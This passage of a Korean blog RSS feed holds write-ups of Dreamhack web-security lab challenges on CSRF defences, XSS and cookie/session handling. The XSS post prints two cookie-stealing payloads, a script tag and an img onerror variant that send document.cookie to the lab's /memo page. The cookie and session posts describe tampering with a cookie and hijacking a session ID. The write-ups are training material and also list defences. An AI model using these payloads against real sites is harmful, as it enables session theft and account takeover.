<li>전송 : <code>&lt;input type=&quot;hidden&quot; name=&quot;csrf-token&quot; value=&quot;CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&quot; /&gt;</code></li>
<li>검증 : 요청시 토큰 없거나, 유효하지 않은 경우 거절</li>
</ul>
<h3 id="3-2-strict-samesite-cookie-restirections-사용">3-2 Strict SameSite cookie restirections 사용</h3>
<blockquote>
<p>SameSite</p>
</blockquote>
<ul>
<li>크로스 사이트로 전송하는 요청의 경우 쿠키의 전송에 제한</li>
<li>정책 : None &lt; Lax &lt; Strict</li>
<li>기본적으로 Strict 정책 default, 특별한 경우에만 lax로 낮춤</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵-웹] XSS]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%9B%B9-XSS</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%9B%B9-XSS</guid>
            <pubDate>Wed, 09 Oct 2024 06:56:42 GMT</pubDate>
            <description><![CDATA[<h2 id="1-definition">1. Definition</h2>
<h3 id="1-1-what-is-xss">1-1 What is XSS</h3>
<blockquote>
<p><strong>Cross Stie Scripting</strong>
클라이언트 사이드 취약점 중 하나로써 웹 페이지의 이용자를 대상으로 하는 공격 기법이다.</p>
</blockquote>
<ul>
<li>세션 및 쿠키 정보 탈취 -&gt; 해당 계정으로 임의의 기능 수행    </li>
<li>웹 리소스에 악성 스크립트 삽입해 이용자의 웹 브라우저에서 해당 스크립트 실행 가능</li>
</ul>
<br>


<h3 id="1-2-classification-by-type-of-occurrence">1-2 Classification by type of occurrence</h3>
<blockquote>
<p><strong>1. Stored XSS : XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS</strong></p>
</blockquote>
<ul>
<li>서버, DB에 저장된 악성 스크립트 조회시 발생</li>
<li>게시물, 댓글에 포함시켜 업로드</li>
</ul>
<blockquote>
</blockquote>
<p><strong>2. Reflected XSS : XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS</strong></p>
<ul>
<li>게시판 서비스에서 작성된 게시물 조회하기 위한 검색창에서 스크립트 포함해 검색하는 방식</li>
<li>URL과 같은 이용자의 요청에 의해 발생</li>
<li>공격을 위해서는 다른 이용자를 악성 스크립트가 포함된 링크에 접속하도록 유도해야함</li>
<li>Click Jacking, Open Redirect 등 다른 취약점과 연계하여 사용</li>
</ul>
<blockquote>
</blockquote>
<p><strong>3. DOM-Based XSS : XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS</strong></p>
<ul>
<li>Fragment는 서버 요청/응답에 포함되지 않는다.</li>
</ul>
<blockquote>
</blockquote>
<p><strong>4. Universal XSS : 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점</strong></p>
<ul>
<li>SOP(Same Oring Policy) 정책을 우회하는 XSS</li>
</ul>
<br>

<h2 id="2-explanation">2. Explanation</h2>
<h3 id="2-1-xss-1">2-1 XSS-1</h3>
<h4 id="1-vuln-코드-확인">1. /vuln 코드 확인</h4>
<ul>
<li>param 값을 Return
<img src="https://velog.velcdn.com/images/gook_bob/post/1e3a85e0-21b6-4689-b464-888589afb084/image.png" alt=""><br>

</li>
</ul>
<h4 id="2-memo-코드-확인">2. /memo 코드 확인</h4>
<ul>
<li>memo에 입력된 값을 가져와서 화면에 출력</li>
<li>cookie 값을 읽을 수 있는 page
<img src="https://velog.velcdn.com/images/gook_bob/post/20834615-672c-4fbc-8f4a-5178e45368c2/image.png" alt=""><br>

</li>
</ul>
<h4 id="3-flag-코드-확인">3. /flag 코드 확인</h4>
<ul>
<li>get 요청인지, post 요청인지 확인 후 그에 맞는 값 return</li>
<li>script 코드 이용해서 XSS 사용 가능
<img src="https://velog.velcdn.com/images/gook_bob/post/8cc69faa-f2a4-480d-bd98-251018805804/image.png" alt=""><br>

</li>
</ul>
<h4 id="4-코드-입력">4. 코드 입력</h4>
<ul>
<li>&lt;script&gt;location.href=&quot;/memo?memo=&quot;+document.cookie&lt;/script&gt;
<img src="https://velog.velcdn.com/images/gook_bob/post/281644a5-a80f-4bda-ba84-4f4da2dc0548/image.png" alt=""><br>

</li>
</ul>
<h4 id="5-flag-확인">5. flag 확인</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/90fdd5a3-1ffd-4836-a788-e50e7009845d/image.png" alt="">
<br></p>
<h3 id="2-2-xss-2">2-2 XSS-2</h3>
<h4 id="1-vuln">1. /vuln</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/2ca1e282-f51e-428a-9735-b52d467af118/image.png" alt=""></p>
<h4 id="2-memo">2. /memo</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/f7c71fc4-f3f2-46e9-80f6-c69ecea2751c/image.png" alt=""></p>
<h4 id="3-flag">3. /flag</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/71b900a4-2893-4f2d-b0b6-fec1458eb902/image.png" alt=""></p>
<h4 id="5-풀이">5. 풀이</h4>
<blockquote>
<p>이번에도 flag 페이지에서 어떠한 코드를 입력했을때 해당 flag가 나오도록 되어있다. XSS-1 과는 다르게 &lt;script&gt; 문법이 아닌 &lt;img&gt; 태그를 이용하여 해당 flag를 획득하였다.</p>
</blockquote>
<ul>
<li>코드 : &lt;img src=x onerror=this.src=‘/memo?memo=&#39;+document.cookie;&#39;&gt;</li>
</ul>
<h4 id="4-flag-출력">4. flag 출력</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/34a493d7-35e7-45d5-abc0-57508416a549/image.png" alt="">
<br></p>
<h2 id="3-prevent">3. Prevent</h2>
<blockquote>
<ol>
<li>필터링 : 도착시 입력내용 검증</li>
<li>적절한 응답 헤더 사용 : Content-Type, X-Content-Type-Options</li>
<li>Content Security Policy</li>
<li>Twig, Freemaker를 HTML에 삽입 (server sied template engines)</li>
</ol>
</blockquote>
<h3 id="3-1-사용-예시">3-1. 사용 예시</h3>
<ul>
<li>twig - e() filter : {{user.firstname | e(&#39;html&#39;)}}</li>
</ul>
<h4 id="csp-content-security-policy">CSP (Content Security Policy)</h4>
<ul>
<li>HTML meta tag<pre><code>&lt;meta http-equiv=&quot;Content-Security-Policy&quot;
content=&quot;default-src &#39;self&#39;; img-src https://*; child-src &#39;none&#39;;&quot; /&gt;
</code></pre></li>
</ul>
<pre><code>- HTTP header</code></pre><p>Content-Security-Policy: policy</p>
<p>```</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵-웹] Cookie & Session]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%9B%B9-Cookie-Session</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%9B%B9-Cookie-Session</guid>
            <pubDate>Fri, 04 Oct 2024 14:54:47 GMT</pubDate>
            <description><![CDATA[<h2 id="1-defintion">1. Defintion</h2>
<h3 id="1-1-what-is-http">1-1. What is HTTP</h3>
<blockquote>
<p>Hyper Text Transfer Protocol</p>
</blockquote>
<ul>
<li>하이퍼텍스트 링크 사용해 웹 페이지 로드 하는데 사용</li>
<li>Connectionless : 하나의 요청에 하나의 응답을 한 후 연결 종료</li>
<li>Stateless : 통신이 끝난 후 상태 정보를 저장하지 않는 것을 의미</li>
</ul>
<h3 id="1-2-what-is-cookie">1-2. What is Cookie</h3>
<blockquote>
<p>HTTP에서 상태 유지하기 위해 사용하는 Key-Value 형태의 값</p>
</blockquote>
<ul>
<li>취약점</li>
</ul>
<ol>
<li>클라이언트 요청에 포함되는 정보로써 이용자가 임의로 조작 가능</li>
<li>서버 별다른 검증 없이 이용자 요청에 포함된 쿠기 신뢰하여 이용자 인증 식별 할 경우 쿠키에 타 계정 정보 삽입해 계정 탈취 가능</li>
</ol>
<h3 id="1-3-what-is-session">1-3. What is Session</h3>
<blockquote>
<p>Cookie의 취약점을 개선하기 위한 방안</p>
</blockquote>
<ul>
<li>인증 정보를 서버에 저장하고 해당 데이터에 접근할 수 있는키를 만들어 클라이언트에 전달 (사용자는 해당 키를 이용해 인증 가능)</li>
<li>세션 하이재킹 : 타 이용자의 쿠키 훔쳐 인증 정보를 획득하는 공격</li>
</ul>
<br>
<br> 

<h2 id="2-explanation">2. Explanation</h2>
<h3 id="2-1-cookie">2-1. Cookie</h3>
<h4 id="1-python-파일을-열어보면-해당-내용을-확인할-수-있다">1. Python 파일을 열어보면 해당 내용을 확인할 수 있다.</h4>
<ul>
<li>dictionary 형태 ID : PW를 저장해놓음<img src="https://velog.velcdn.com/images/gook_bob/post/50c52979-d4fb-4bfe-923d-bffd544bc9d5/image.png" alt=""></li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/3fff0898-3ef3-437e-aff2-4462c26cdbf1/image.png" alt="">
<br></p>
<h4 id="2-리턴값-확인">2. 리턴값 확인</h4>
<ul>
<li>cookie의 &#39;username&#39;을 가져와 &quot;admin&quot;인 경우 flag Return
<img src="https://velog.velcdn.com/images/gook_bob/post/60af4d70-2dc4-4464-9fbe-bd9f4389381b/image.png" alt=""><br>

</li>
</ul>
<h4 id="3-guest로-로그인시-화면">3. guest로 로그인시 화면</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/e84ad179-178c-4918-a22e-3b1acba510c0/image.png" alt="">
<br></p>
<h4 id="4-개발자-도구를-열어-cookie-확인">4. 개발자 도구를 열어 Cookie 확인</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/49493bd6-d71e-4487-bbcf-4ce7a97fa99d/image.png" alt="">
<br></p>
<h4 id="4-guest값을-admin으로-변경">4. guest값을 admin으로 변경</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/9e33abbe-2438-47d1-9860-09f3f099e3a1/image.png" alt="">
<br></p>
<h4 id="5-flag-획득">5. flag 획득</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/a6c44add-2ee1-4a21-9ed3-f0302114b7fd/image.png" alt="">
<br></p>
<h3 id="2-2-session">2-2 Session</h3>
<h4 id="1-python-파일-확인">1. Python 파일 확인</h4>
<ul>
<li>dictionary 형태로 ID : PW 확인 가능
<img src="https://velog.velcdn.com/images/gook_bob/post/c0583dd2-761b-4ea0-8ca7-97c43b385e9d/image.png" alt=""><br>

</li>
</ul>
<h4 id="2-guest로-로그인-후-쿠키-확인">2. guest로 로그인 후 쿠키 확인</h4>
<ul>
<li>쿠키에 sessionid, username 확인 가능
<img src="https://velog.velcdn.com/images/gook_bob/post/ebfa9698-c8e6-46b1-9707-8095675ba82c/image.png" alt=""><br>

</li>
</ul>
<h4 id="3-코드-확인">3. 코드 확인</h4>
<ul>
<li>/admin route 정보 확인
<img src="https://velog.velcdn.com/images/gook_bob/post/2c8cbdba-d42b-4c22-a4b3-47f550326aba/image.png" alt=""><br>

</li>
</ul>
<h4 id="4-접속">4. 접속</h4>
<ul>
<li>정보 확인 가능</li>
<li>해당 문자열을 cookie의 sessionid에  집어 넣어봄
<img src="https://velog.velcdn.com/images/gook_bob/post/7002c030-d2af-4e69-ae6a-4ffa89bedee4/image.png" alt=""><br>

</li>
</ul>
<h4 id="5-flag-획득-1">5. flag 획득</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/3d8d32fc-3675-47cd-9c97-4419266085e7/image.png" alt=""></p>
]]></description>
        </item>
    </channel>
</rss>